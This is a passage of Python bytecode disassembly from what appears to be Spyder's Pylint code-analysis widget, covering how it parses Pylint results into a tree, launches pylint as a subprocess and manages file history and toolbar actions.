BUILD_TUPLE LOAD_CONST 'Error' LOAD_FAST self LOAD_ATTR results LOAD_CONST 'E:' BINARY_SUBSCR BUILD_TUPLE BUILD_TUPLE STORE_FAST results EXTENDED_ARG SETUP_LOOP to 592 LOAD_FAST results GET_ITER EXTENDED_ARG FOR_ITER to 590 UNPACK_SEQUENCE STORE_FAST category STORE_FAST messages LOAD_GLOBAL CategoryItem LOAD_FAST self LOAD_FAST category LOAD_GLOBAL len LOAD_FAST messages CALL_FUNCTION CALL_FUNCTION STORE_FAST title_item LOAD_FAST messages POP_JUMP_IF_TRUE LOAD_FAST title_item LOAD_METHOD setDisabled LOAD_CONST True CALL_METHOD POP_TOP BUILD_MAP STORE_FAST modules EXTENDED_ARG SETUP_LOOP to 588 LOAD_FAST messages GET_ITER EXTENDED_ARG FOR_ITER to 586 STORE_FAST message_data LOAD_GLOBAL len LOAD_FAST message_data CALL_FUNCTION LOAD_CONST 4 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL tuple LOAD_GLOBAL list LOAD_FAST message_data CALL_FUNCTION LOAD_CONST None BUILD_LIST BINARY_ADD CALL_FUNCTION STORE_FAST message_data LOAD_FAST message_data UNPACK_SEQUENCE STORE_FAST module STORE_FAST lineno STORE_FAST message STORE_FAST msg_id STORE_FAST message_name LOAD_GLOBAL osp LOAD_METHOD splitext LOAD_GLOBAL osp LOAD_METHOD basename LOAD_FAST self LOAD_ATTR filename CALL_METHOD CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST basename LOAD_FAST module LOAD_METHOD startswith LOAD_FAST basename CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST module LOAD_METHOD find LOAD_FAST basename CALL_METHOD STORE_FAST i_base LOAD_FAST module LOAD_FAST i_base LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST module LOAD_GLOBAL osp LOAD_METHOD dirname LOAD_FAST self LOAD_ATTR filename CALL_METHOD STORE_FAST dirname LOAD_FAST module LOAD_METHOD startswith LOAD_CONST '.' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_FAST basename COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL osp LOAD_METHOD join LOAD_FAST dirname LOAD_FAST module CALL_METHOD STORE_FAST modname JUMP_FORWARD to 324 LOAD_GLOBAL osp LOAD_ATTR join LOAD_FAST dirname BUILD_TUPLE LOAD_FAST module LOAD_METHOD split LOAD_CONST '.' CALL_METHOD BUILD_TUPLE CALL_FUNCTION STORE_FAST modname LOAD_GLOBAL osp LOAD_METHOD isdir LOAD_FAST modname CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL osp LOAD_METHOD join LOAD_FAST modname LOAD_CONST '__init__' CALL_METHOD STORE_FAST modname SETUP_LOOP to 390 LOAD_CONST ('.py', '.pyw') GET_ITER FOR_ITER to 388 STORE_FAST ext LOAD_GLOBAL osp LOAD_METHOD isfile LOAD_FAST modname LOAD_FAST ext BINARY_ADD CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST modname LOAD_FAST ext BINARY_ADD STORE_FAST modname BREAK_LOOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL osp LOAD_METHOD isdir LOAD_FAST self LOAD_ATTR filename CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST modules LOAD_METHOD get LOAD_FAST modname CALL_METHOD STORE_FAST parent LOAD_FAST parent LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL QTreeWidgetItem LOAD_FAST title_item LOAD_FAST module BUILD_LIST LOAD_GLOBAL QTreeWidgetItem LOAD_ATTR Type CALL_FUNCTION STORE_FAST item LOAD_FAST item LOAD_METHOD setIcon LOAD_CONST 0 LOAD_GLOBAL ima LOAD_METHOD icon LOAD_CONST 'python' CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST item LOAD_FAST modules LOAD_FAST modname STORE_SUBSCR LOAD_FAST item STORE_FAST parent JUMP_FORWARD to 476 LOAD_FAST title_item STORE_FAST parent LOAD_GLOBAL len LOAD_FAST msg_id CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST message_name EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST '{msg_id} ' STORE_FAST message_string JUMP_FORWARD to 506 LOAD_CONST '{msg_id} ({message_name}) ' STORE_FAST message_string LOAD_FAST message_string LOAD_CONST 'line {lineno}: {message}' INPLACE_ADD STORE_FAST message_string LOAD_FAST message_string LOAD_ATTR format LOAD_FAST msg_id LOAD_FAST message_name LOAD_FAST lineno LOAD_FAST message LOAD_CONST ('msg_id', 'message_name', 'lineno', 'message') CALL_FUNCTION STORE_FAST message_string LOAD_GLOBAL QTreeWidgetItem LOAD_FAST parent LOAD_FAST message_string BUILD_LIST LOAD_GLOBAL QTreeWidgetItem LOAD_ATTR Type CALL_FUNCTION STORE_FAST msg_item LOAD_FAST msg_item LOAD_METHOD setIcon LOAD_CONST 0 LOAD_GLOBAL ima LOAD_METHOD icon LOAD_CONST 'arrow' CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST modname LOAD_FAST lineno BUILD_TUPLE LOAD_FAST self LOAD_ATTR data LOAD_GLOBAL id LOAD_FAST msg_item CALL_FUNCTION STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PylintWidget' STORE_NAME __qualname__ LOAD_CONST '\n Pylint widget.\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME ENABLE_SPINNER LOAD_NAME get_conf_path LOAD_CONST 'pylint.results' CALL_FUNCTION STORE_NAME DATAPATH LOAD_CONST '1.1.0' STORE_NAME VERSION LOAD_NAME Signal LOAD_NAME str LOAD_NAME int LOAD_NAME str CALL_FUNCTION STORE_NAME sig_edit_goto_requested LOAD_NAME Signal CALL_FUNCTION STORE_NAME sig_start_analysis_requested LOAD_CONST (None, None, None) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab416c6300, file "f.py", line 265> LOAD_CONST 'PylintWidget.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME Slot CALL_FUNCTION LOAD_CONST <code object _start at 0x7fab416c60c0, file "f.py", line 310> LOAD_CONST 'PylintWidget._start' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _start LOAD_CONST (False,) LOAD_CONST <code object _read_output at 0x7fab42736c90, file "f.py", line 352> LOAD_CONST 'PylintWidget._read_output' MAKE_FUNCTION STORE_NAME _read_output LOAD_CONST <code object _finished at 0x7fab42736390, file "f.py", line 374> LOAD_CONST 'PylintWidget._finished' MAKE_FUNCTION STORE_NAME _finished LOAD_CONST <code object _check_new_file at 0x7fab41503810, file "f.py", line 395> LOAD_CONST 'PylintWidget._check_new_file' MAKE_FUNCTION STORE_NAME _check_new_file LOAD_CONST <code object _is_running at 0x7fab415051e0, file "f.py", line 401> LOAD_CONST 'PylintWidget._is_running' MAKE_FUNCTION STORE_NAME _is_running LOAD_CONST <code object _kill_process at 0x7fab41505390, file "f.py", line 405> LOAD_CONST 'PylintWidget._kill_process' MAKE_FUNCTION STORE_NAME _kill_process LOAD_CONST <code object _update_combobox_history at 0x7fab41505540, file "f.py", line 410> LOAD_CONST 'PylintWidget._update_combobox_history' MAKE_FUNCTION STORE_NAME _update_combobox_history LOAD_CONST <code object _save_history at 0x7fab41505300, file "f.py", line 429> LOAD_CONST 'PylintWidget._save_history' MAKE_FUNCTION STORE_NAME _save_history LOAD_CONST <code object get_title at 0x7fab41505030, file "f.py", line 443> LOAD_CONST 'PylintWidget.get_title' MAKE_FUNCTION STORE_NAME get_title LOAD_CONST <code object get_focus_widget at 0x7fab41505420, file "f.py", line 446> LOAD_CONST 'PylintWidget.get_focus_widget' MAKE_FUNCTION STORE_NAME get_focus_widget LOAD_CONST <code object setup at 0x7fab415054b0, file "f.py", line 449> LOAD_CONST 'PylintWidget.setup' MAKE_FUNCTION STORE_NAME setup LOAD_NAME on_conf_change LOAD_CONST 'max_entries' LOAD_CONST 'history_filenames' BUILD_LIST LOAD_CONST ('option',) CALL_FUNCTION LOAD_CONST <code object on_conf_update at 0x7fab415055d0, file "f.py", line 546> LOAD_CONST 'PylintWidget.on_conf_update' MAKE_FUNCTION CALL_FUNCTION STORE_NAME on_conf_update LOAD_CONST <code object update_actions at 0x7fab41505660, file "f.py", line 554> LOAD_CONST 'PylintWidget.update_actions' MAKE_FUNCTION STORE_NAME update_actions LOAD_CONST <code object on_close at 0x7fab415056f0, file "f.py", line 562> LOAD_CONST 'PylintWidget.on_close' MAKE_FUNCTION STORE_NAME on_close LOAD_NAME Slot CALL_FUNCTION LOAD_NAME Slot LOAD_NAME int CALL_FUNCTION LOAD_CONST (None,) LOAD_CONST <code object change_history_depth at 0x7fab41505810, file "f.py", line 565> LOAD_CONST 'PylintWidget.change_history_depth' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME change_history_depth LOAD_CONST <code object get_filename at 0x7fab415058a0, file "f.py", line 596> LOAD_CONST 'PylintWidget.get_filename' MAKE_FUNCTION STORE_NAME get_filename LOAD_NAME Slot LOAD_NAME str CALL_FUNCTION LOAD_CONST <code object set_filename at 0x7fab41505930, file "f.py", line 602> LOAD_CONST 'PylintWidget.set_filename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME set_filename LOAD_CONST (None,) LOAD_CONST <code object start_code_analysis at 0x7fab415059c0, file "f.py", line 639> LOAD_CONST 'PylintWidget.start_code_analysis' MAKE_FUNCTION STORE_NAME start_code_analysis LOAD_CONST <code object stop_code_analysis at 0x7fab41505a50, file "f.py", line 659> LOAD_CONST 'PylintWidget.stop_code_analysis' MAKE_FUNCTION STORE_NAME stop_code_analysis LOAD_CONST <code object remove_obsolete_items at 0x7fab41505b70, file "f.py", line 666> LOAD_CONST 'PylintWidget.remove_obsolete_items' MAKE_FUNCTION STORE_NAME remove_obsolete_items LOAD_CONST <code object get_filenames at 0x7fab41505c90, file "f.py", line 676> LOAD_CONST 'PylintWidget.get_filenames' MAKE_FUNCTION STORE_NAME get_filenames LOAD_CONST <code object get_data at 0x7fab41505d20, file "f.py", line 682> LOAD_CONST 'PylintWidget.get_data' MAKE_FUNCTION STORE_NAME get_data LOAD_CONST <code object set_data at 0x7fab41505db0, file "f.py", line 693> LOAD_CONST 'PylintWidget.set_data' MAKE_FUNCTION STORE_NAME set_data LOAD_CONST (False,) LOAD_CONST <code object show_data at 0x7fab41505e40, file "f.py", line 710> LOAD_CONST 'PylintWidget.show_data' MAKE_FUNCTION STORE_NAME show_data LOAD_NAME Slot CALL_FUNCTION LOAD_CONST <code object show_log at 0x7fab41505ed0, file "f.py", line 766> LOAD_CONST 'PylintWidget.show_log' MAKE_FUNCTION CALL_FUNCTION STORE_NAME show_log LOAD_CONST <code object get_pylintrc_path at 0x7fab41505f60, file "f.py", line 778> LOAD_CONST 'PylintWidget.get_pylintrc_path' MAKE_FUNCTION STORE_NAME get_pylintrc_path LOAD_NAME Slot CALL_FUNCTION LOAD_CONST (None,) LOAD_CONST <code object select_file at 0x7faab822f030, file "f.py", line 791> LOAD_CONST 'PylintWidget.select_file' MAKE_FUNCTION CALL_FUNCTION STORE_NAME select_file LOAD_CONST <code object test_for_custom_interpreter at 0x7faab822f150, file "f.py", line 812> LOAD_CONST 'PylintWidget.test_for_custom_interpreter' MAKE_FUNCTION STORE_NAME test_for_custom_interpreter LOAD_CONST <code object get_command at 0x7faab822f270, file "f.py", line 839> LOAD_CONST 'PylintWidget.get_command' MAKE_FUNCTION STORE_NAME get_command LOAD_CONST <code object parse_output at 0x7faab822f420, file "f.py", line 870> LOAD_CONST 'PylintWidget.parse_output' MAKE_FUNCTION STORE_NAME parse_output LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST name LOAD_FAST plugin LOAD_FAST parent CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR _process LOAD_CONST None LOAD_FAST self STORE_ATTR output LOAD_CONST None LOAD_FAST self STORE_ATTR error_output LOAD_CONST None LOAD_FAST self STORE_ATTR filename BUILD_LIST LOAD_FAST self STORE_ATTR rdata LOAD_FAST self LOAD_METHOD get_conf LOAD_CONST 'history_filenames' CALL_METHOD LOAD_FAST self STORE_ATTR curr_filenames LOAD_CONST None LOAD_FAST self STORE_ATTR code_analysis_action LOAD_CONST None LOAD_FAST self STORE_ATTR browse_action LOAD_GLOBAL PythonModulesComboBox LOAD_FAST self LOAD_GLOBAL PylintWidgetToolbarItems LOAD_ATTR FileComboBox LOAD_CONST ('id_',) CALL_FUNCTION LOAD_FAST self STORE_ATTR filecombo LOAD_GLOBAL QLabel LOAD_FAST self CALL_FUNCTION LOAD_FAST self STORE_ATTR ratelabel LOAD_GLOBAL PylintWidgetToolbarItems LOAD_ATTR RateLabel LOAD_FAST self LOAD_ATTR ratelabel STORE_ATTR ID LOAD_GLOBAL QLabel LOAD_FAST self CALL_FUNCTION LOAD_FAST self STORE_ATTR datelabel LOAD_GLOBAL PylintWidgetToolbarItems LOAD_ATTR DateLabel LOAD_FAST self LOAD_ATTR datelabel STORE_ATTR ID LOAD_GLOBAL ResultsTree LOAD_FAST self CALL_FUNCTION LOAD_FAST self STORE_ATTR treewidget LOAD_GLOBAL osp LOAD_METHOD isfile LOAD_FAST self LOAD_ATTR DATAPATH CALL_METHOD POP_JUMP_IF_FALSE SETUP_EXCEPT to 220 LOAD_GLOBAL open LOAD_FAST self LOAD_ATTR DATAPATH LOAD_CONST 'rb' CALL_FUNCTION SETUP_WITH to 182 STORE_FAST fh LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_FAST fh LOAD_METHOD read CALL_METHOD CALL_METHOD STORE_FAST data POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST data LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST self LOAD_ATTR VERSION COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST data LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST self STORE_ATTR rdata POP_BLOCK JUMP_FORWARD to 244 DUP_TOP LOAD_GLOBAL EOFError LOAD_GLOBAL ImportError BUILD_TUPLE COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 244 END_FINALLY LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD setInsertPolicy LOAD_FAST self LOAD_ATTR filecombo LOAD_ATTR InsertAtTop CALL_METHOD POP_TOP SETUP_LOOP to 298 LOAD_FAST self LOAD_ATTR curr_filenames LOAD_CONST None LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR GET_ITER FOR_ITER to 296 STORE_FAST fname LOAD_FAST self LOAD_METHOD set_filename LOAD_FAST fname CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL QVBoxLayout CALL_FUNCTION STORE_FAST layout LOAD_FAST layout LOAD_METHOD addWidget LOAD_FAST self LOAD_ATTR treewidget CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD setLayout LOAD_FAST layout CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR filecombo LOAD_ATTR valid LOAD_METHOD connect LOAD_FAST self LOAD_ATTR _check_new_file CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR treewidget LOAD_ATTR sig_edit_goto_requested LOAD_METHOD connect LOAD_FAST self LOAD_ATTR sig_edit_goto_requested CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_METHOD start_spinner CALL_METHOD POP_TOP LOAD_CONST '' LOAD_DEREF self STORE_ATTR output LOAD_CONST '' LOAD_DEREF self STORE_ATTR error_output LOAD_GLOBAL QProcess LOAD_DEREF self CALL_FUNCTION DUP_TOP LOAD_DEREF self STORE_ATTR _process STORE_FAST process LOAD_FAST process LOAD_METHOD setProcessChannelMode LOAD_GLOBAL QProcess LOAD_ATTR SeparateChannels CALL_METHOD POP_TOP LOAD_FAST process LOAD_METHOD setWorkingDirectory LOAD_GLOBAL getcwd_or_home CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST process LOAD_ATTR readyReadStandardOutput LOAD_METHOD connect LOAD_DEREF self LOAD_ATTR _read_output CALL_METHOD POP_TOP LOAD_FAST process LOAD_ATTR readyReadStandardError LOAD_METHOD connect LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab416c6150, file "f.py", line 321> LOAD_CONST 'PylintWidget._start.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_FAST process LOAD_ATTR finished LOAD_METHOD connect LOAD_GLOBAL QProcess LOAD_ATTR ExitStatus BUILD_TUPLE LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab416c6c90, file "f.py", line 323> LOAD_CONST 'PylintWidget._start.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_DEREF self LOAD_METHOD get_command LOAD_DEREF self LOAD_METHOD get_filename CALL_METHOD CALL_METHOD STORE_FAST command_args LOAD_GLOBAL QProcessEnvironment CALL_FUNCTION STORE_FAST processEnvironment LOAD_FAST processEnvironment LOAD_METHOD insert LOAD_CONST 'PYTHONIOENCODING' LOAD_CONST 'utf8' CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_ATTR name LOAD_CONST 'nt' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL get_home_dir CALL_FUNCTION STORE_FAST home_dir LOAD_GLOBAL os LOAD_ATTR environ LOAD_METHOD get LOAD_CONST 'USERPROFILE' LOAD_FAST home_dir CALL_METHOD STORE_FAST user_profile LOAD_FAST processEnvironment LOAD_METHOD insert LOAD_CONST 'USERPROFILE' LOAD_FAST user_profile CALL_METHOD POP_TOP LOAD_GLOBAL is_pynsist CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL is_anaconda CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST processEnvironment LOAD_METHOD insert LOAD_CONST 'APPDATA' LOAD_GLOBAL os LOAD_ATTR environ LOAD_METHOD get LOAD_CONST 'APPDATA' CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL running_in_mac_app CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR environ LOAD_METHOD get LOAD_CONST 'PYTHONHOME' CALL_METHOD STORE_FAST pyhome LOAD_FAST processEnvironment LOAD_METHOD insert LOAD_CONST 'PYTHONHOME' LOAD_FAST pyhome CALL_METHOD POP_TOP LOAD_FAST process LOAD_METHOD setProcessEnvironment LOAD_FAST processEnvironment CALL_METHOD POP_TOP LOAD_FAST process LOAD_METHOD start LOAD_GLOBAL sys LOAD_ATTR executable LOAD_FAST command_args CALL_METHOD POP_TOP LOAD_FAST process LOAD_METHOD waitForStarted CALL_METHOD STORE_FAST running LOAD_FAST running EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_DEREF self LOAD_METHOD stop_spinner CALL_METHOD POP_TOP LOAD_GLOBAL QMessageBox LOAD_METHOD critical LOAD_DEREF self LOAD_GLOBAL _ LOAD_CONST 'Error' CALL_FUNCTION LOAD_GLOBAL _ LOAD_CONST 'Process failed to start' CALL_FUNCTION CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_ATTR _read_output LOAD_CONST True LOAD_CONST ('error',) CALL_FUNCTION RETURN_VALUE LOAD_DEREF self LOAD_METHOD _finished LOAD_FAST ec LOAD_FAST es CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR _process STORE_FAST process LOAD_FAST error POP_JUMP_IF_FALSE LOAD_FAST process LOAD_METHOD setReadChannel LOAD_GLOBAL QProcess LOAD_ATTR StandardError CALL_METHOD POP_TOP JUMP_FORWARD to 36 LOAD_FAST process LOAD_METHOD setReadChannel LOAD_GLOBAL QProcess LOAD_ATTR StandardOutput CALL_METHOD POP_TOP LOAD_GLOBAL QByteArray CALL_FUNCTION STORE_FAST qba SETUP_LOOP to 86 LOAD_FAST process LOAD_METHOD bytesAvailable CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST error POP_JUMP_IF_FALSE LOAD_FAST qba LOAD_FAST process LOAD_METHOD readAllStandardError CALL_METHOD INPLACE_ADD STORE_FAST qba JUMP_ABSOLUTE LOAD_FAST qba LOAD_FAST process LOAD_METHOD readAllStandardOutput CALL_METHOD INPLACE_ADD STORE_FAST qba JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL str LOAD_FAST qba LOAD_METHOD data CALL_METHOD LOAD_CONST 'utf-8' CALL_FUNCTION STORE_FAST text LOAD_FAST error POP_JUMP_IF_FALSE LOAD_FAST self DUP_TOP LOAD_ATTR error_output LOAD_FAST text INPLACE_ADD ROT_TWO STORE_ATTR error_output JUMP_FORWARD to 134 LOAD_FAST self DUP_TOP LOAD_ATTR output LOAD_FAST text INPLACE_ADD ROT_TWO STORE_ATTR output LOAD_FAST self LOAD_METHOD update_actions CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR output POP_JUMP_IF_TRUE LOAD_FAST self LOAD_METHOD stop_spinner CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR error_output POP_JUMP_IF_FALSE LOAD_GLOBAL QMessageBox LOAD_METHOD critical LOAD_FAST self LOAD_GLOBAL _ LOAD_CONST 'Error' CALL_FUNCTION LOAD_FAST self LOAD_ATTR error_output CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_CONST 'pylint error:\n\n' LOAD_FAST self LOAD_ATTR error_output BINARY_ADD LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_CONST ('file',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_filename CALL_METHOD STORE_FAST filename LOAD_FAST self LOAD_METHOD parse_output LOAD_FAST self LOAD_ATTR output CALL_METHOD UNPACK_SEQUENCE STORE_FAST rate STORE_FAST previous STORE_FAST results LOAD_FAST self LOAD_METHOD _save_history CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD set_data LOAD_FAST filename LOAD_GLOBAL time LOAD_METHOD localtime CALL_METHOD LOAD_FAST rate LOAD_FAST previous LOAD_FAST results BUILD_TUPLE CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR error_output LOAD_FAST self LOAD_ATTR output BINARY_ADD LOAD_FAST self STORE_ATTR output LOAD_FAST self LOAD_ATTR show_data LOAD_CONST True LOAD_CONST ('justanalyzed',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD update_actions CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD stop_spinner CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_filename CALL_METHOD STORE_FAST fname LOAD_FAST fname LOAD_FAST self LOAD_ATTR filename COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST fname LOAD_FAST self STORE_ATTR filename LOAD_FAST self LOAD_METHOD show_data CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _process STORE_FAST process LOAD_FAST process LOAD_CONST None COMPARE_OP is not JUMP_IF_FALSE_OR_POP LOAD_FAST process LOAD_METHOD state CALL_METHOD LOAD_GLOBAL QProcess LOAD_ATTR Running COMPARE_OP == RETURN_VALUE LOAD_FAST self LOAD_ATTR _process LOAD_METHOD close CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _process LOAD_METHOD waitForFinished LOAD_CONST 1000 CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD stop_spinner CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_conf LOAD_CONST 'max_entries' CALL_METHOD STORE_FAST max_entries LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD count CALL_METHOD LOAD_FAST max_entries COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD count CALL_METHOD STORE_FAST num_elements LOAD_FAST num_elements LOAD_FAST max_entries BINARY_SUBTRACT STORE_FAST diff SETUP_LOOP to 86 LOAD_GLOBAL range LOAD_FAST diff CALL_FUNCTION GET_ITER FOR_ITER to 84 STORE_FAST __ LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD count CALL_METHOD STORE_FAST num_elements LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD removeItem LOAD_FAST num_elements LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD selected CALL_METHOD POP_TOP JUMP_FORWARD to 180 LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD count CALL_METHOD STORE_FAST num_elements LOAD_FAST max_entries LOAD_FAST num_elements BINARY_SUBTRACT STORE_FAST diff SETUP_LOOP to 180 LOAD_GLOBAL range LOAD_FAST num_elements LOAD_FAST num_elements LOAD_FAST diff BINARY_ADD CALL_FUNCTION GET_ITER FOR_ITER to 178 STORE_FAST i LOAD_FAST i LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR curr_filenames CALL_FUNCTION COMPARE_OP >= POP_JUMP_IF_FALSE BREAK_LOOP LOAD_FAST self LOAD_ATTR curr_filenames LOAD_FAST i BINARY_SUBSCR STORE_FAST act_filename LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD insertItem LOAD_FAST i LOAD_FAST act_filename CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR parent POP_JUMP_IF_FALSE BUILD_LIST STORE_FAST list_save_files SETUP_LOOP to 58 LOAD_FAST self LOAD_ATTR curr_filenames GET_ITER FOR_ITER to 56 STORE_FAST fname LOAD_GLOBAL _ LOAD_CONST 'untitled' CALL_FUNCTION LOAD_FAST fname COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL osp LOAD_METHOD normpath LOAD_FAST fname CALL_METHOD STORE_FAST filename LOAD_FAST list_save_files LOAD_METHOD append LOAD_FAST filename CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST list_save_files LOAD_CONST None LOAD_GLOBAL MAX_HISTORY_ENTRIES BUILD_SLICE BINARY_SUBSCR LOAD_FAST self STORE_ATTR curr_filenames LOAD_FAST self LOAD_METHOD set_conf LOAD_CONST 'history_filenames' LOAD_FAST self LOAD_ATTR curr_filenames CALL_METHOD POP_TOP JUMP_FORWARD to 94 BUILD_LIST LOAD_FAST self STORE_ATTR curr_filenames LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _ LOAD_CONST 'Code Analysis' CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR treewidget RETURN_VALUE LOAD_FAST self LOAD_ATTR create_action LOAD_GLOBAL PylintWidgetActions LOAD_ATTR ChangeHistory LOAD_GLOBAL _ LOAD_CONST 'History...' CALL_FUNCTION LOAD_GLOBAL _ LOAD_CONST 'Set history maximum entries' CALL_FUNCTION LOAD_FAST self LOAD_METHOD create_icon LOAD_CONST 'history' CALL_METHOD LOAD_FAST self LOAD_ATTR change_history_depth LOAD_CONST ('text', 'tip', 'icon', 'triggered') CALL_FUNCTION STORE_FAST change_history_depth_action LOAD_FAST self LOAD_ATTR create_action LOAD_GLOBAL PylintWidgetActions LOAD_ATTR RunCodeAnalysis LOAD_GLOBAL _ LOAD_CONST 'Run code analysis' CALL_FUNCTION LOAD_GLOBAL _ LOAD_CONST 'Run code analysis' CALL_FUNCTION LOAD_FAST self LOAD_METHOD create_icon LOAD_CONST 'run' CALL_METHOD LOAD_FAST self LOAD_ATTR sig_start_analysis_requested LOAD_CONST ('text', 'tip', 'icon', 'triggered') CALL_FUNCTION LOAD_FAST self STORE_ATTR code_analysis_action LOAD_FAST self LOAD_ATTR create_action LOAD_GLOBAL PylintWidgetActions LOAD_ATTR BrowseFile LOAD_GLOBAL _ LOAD_CONST 'Select Python file' CALL_FUNCTION LOAD_GLOBAL _ LOAD_CONST 'Select Python file' CALL_FUNCTION LOAD_FAST self LOAD_METHOD create_icon LOAD_CONST 'fileopen' CALL_METHOD LOAD_FAST self LOAD_ATTR select_file LOAD_CONST ('text', 'tip', 'icon', 'triggered') CALL_FUNCTION LOAD_FAST self STORE_ATTR browse_action LOAD_FAST self LOAD_ATTR create_action LOAD_GLOBAL PylintWidgetActions LOAD_ATTR ShowLog LOAD_GLOBAL _ LOAD_CONST 'Output' CALL_FUNCTION LOAD_GLOBAL _ LOAD_CONST 'Complete output' CALL_FUNCTION LOAD_FAST self LOAD_METHOD create_icon LOAD_CONST 'log' CALL_METHOD LOAD_FAST self LOAD_ATTR show_log LOAD_CONST ('text', 'tip', 'icon', 'triggered') CALL_FUNCTION LOAD_FAST self STORE_ATTR log_action LOAD_FAST self LOAD_METHOD get_options_menu CALL_METHOD STORE_FAST options_menu LOAD_FAST self LOAD_ATTR add_item_to_menu LOAD_FAST self LOAD_ATTR treewidget LOAD_METHOD get_action LOAD_GLOBAL OneColumnTreeActions LOAD_ATTR 